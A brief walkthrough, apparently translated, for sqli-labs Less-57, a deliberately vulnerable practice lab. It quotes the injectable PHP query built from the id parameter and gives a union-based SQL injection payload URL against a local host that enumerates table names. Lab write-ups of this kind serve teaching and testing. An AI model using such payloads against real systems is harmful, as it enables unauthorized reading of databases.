Sqli-labs Less-57 union injected 14 chances

And less54,55,56 form is the same, we are concerned about sql statement

$id= '"'.$id.'"';
$sql="SELECT * FROM security.users WHERE id=$id LIMIT 0,1";

Therefore the example given payload

http://127.0.0.1/sql/Less-57/?id=-1" union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='challenges'--+